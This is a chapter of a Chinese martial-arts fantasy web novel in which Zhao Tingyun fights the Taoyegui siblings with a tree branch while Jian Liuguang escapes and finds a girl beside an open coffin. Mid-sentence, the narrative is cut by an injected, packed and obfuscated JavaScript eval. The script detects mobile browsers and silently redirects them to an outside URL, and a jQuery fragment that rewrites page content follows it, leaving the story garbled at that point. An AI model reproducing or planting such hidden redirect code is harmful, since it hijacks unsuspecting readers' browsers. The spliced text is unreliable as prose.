凡人竟然能有这般强劲的灵力? 不光简流光瞪大了眼睛,连桃靥鬼姐弟都相视而望,隐隐有了犹豫之色。 赵停云手腕一翻,枝干微微下压——是万逸门独学“逍遥剑法”的起手式。 剑形虽虚,剑意却实。 阿桃率先发难,手中的软剑如灵蛇出洞,贴地飞旋而去。阿夭则直袭赵停云面门,以长剑划出一个圆弧,径直劈了过去! 赵停云微微侧首,凌厉的刀锋擦着耳际掠过,带去几缕散落的发丝。指尖轻转间,手中树枝已顺势挑起那柄游蹿而来的软剑,将其甩了出去。 他动作轻松,仿佛不是在格挡杀招,只是信手拂去肩头落叶。 仅凭这两招,桃靥鬼就已经知晓二人并非他的对手。 然而赵停云未能给他们反应的时间,身形已贴近阿夭跟前,一记拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536789|170908||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法重击腰腹,再回旋,树枝已经逼近他的咽喉。 他们甚至还没来得及运转灵力。 阿桃见状,将目光转向浩渺阁那几名青蚨子,怒道:“浩渺阁的,我将这崽子让与你们,这人情如今正是还的时候!” 只见青蚨子们正奋笔疾书,将眼前的战况记录在册,被阿桃这么一吼,皆看向为首的男子。 年轻男子眉峰微蹙,无奈叹了口气:“浩渺阁有规矩,青蚨子不得参与江湖争斗,我们虽做了交易,但……” 然而话未说完,赵停云的树枝已经直挺挺袭来,逼得浩渺阁几人顷刻间作鸟兽散,使出轻功跃上断梁、香台。 他们欲躲,但赵停云抛下桃靥鬼,偏要纠缠过来。 他剑势骤紧,封死退路,寒光迫喉之际,青蚨子只得出剑格挡,金铁交鸣之声炸响雨夜。 这下不得不应战了。 而简流光呢? 此时已经趁乱跑出去了老远。 他早就得了赵停云的一个撤退的眼神,本觉得自己丢下他一人与众人缠斗,忒不厚道,但在他出剑后,他发现自己身处战局之中才是添乱。 那可是一剑封喉二十二黄泉客的赵停云! 天公作美,雨已住了七八分,残雾化作氤氲水汽袭来,在皮肤上留下些潮意。 他对云外坡再熟悉不过了,因此逃起亡来似故地重游,倍感亲切。 密林中鼓起一座座黄土,土上几蓬衰草摇曳。中元节烧的纸钱早已化成黑黢黢的余烬,零星几点黄纸随风而起,盘旋不停,似有几只野鬼正在推杯换盏。 亏得那及时雨,不然他早已被活埋于此,加入这酒局了。 一路向北行,就能逃离这云外坡。 然而电光火石之间,他脑海中蓦然浮现孙旺出那张胖脸。 临走前,自己说什么来着? 叫他们练武练到夜半三更。 又想,桃靥鬼姐弟为布阵,需生擒童子十二人。 他眼皮突地跳了跳。 他既是在村口被抓,那孙旺一行憨童,该不会也…… 脚步一顿,他在原地静立数息。 有赵停云在,那帮子人应该不会这么快就追来。 思索再三后,他还是决定在云外坡搜寻一圈,以防万一。 四下幽暗静谧,只剩有一阵没一阵的蝉鸣,极难听,像是鬼魅在声嘶力竭地叫嚣着什么。 好在简流光是个起死回生之鬼,并不害怕,反而边行走着,边朝空气打招呼:“诸位好久不见,我是送怨君,对,我变成人了,来日有空给你们烧纸钱……” 他想了想,又道:“你们可在此地见过孩童,或者新入土的棺材?人命关天,还请大侠们指个路!” 云外坡葬了不少江湖人,最为古道热肠了。 只闻蝉声猝然消失,紧接着妖风四起。 他扭头,见周遭柳树狂舞,枝条像是招魂的幡,纷纷指向风口。 简流光踏着泥泞追风而去,拨开纠缠于眼前的拦路之枝,迎来天光大亮。 他眯起眼睛细看,只见十丈外,柳树旁,竟还真有一人的身影。 只不过不是孙旺,而是个身着不染尘白裙的女孩。 她正蹲在地上,低着头看什么东西。 能救一命是一命!他气喘呼呼地跑上前,连忙问道:“你也是被黄泉客抓来的?” 女孩带着一顶幕篱,白纱笼罩至腰,闻言,抬头望简流光,却并未言语。 简流光以为是自己吓着她了,连忙整理了下仪表,说:“你别害怕,我不是坏人,也是被抓来的。我刚才遇到赵停云大侠搭救,这才得以逃出生天。” 他低头,赫然看见女孩面前竟然有一道深坑。 泥土已经被刨开,一口空荡荡的棺材正横陈于她的脚边。 简流光不禁咋舌:“你……自己爬出来的?真厉害!”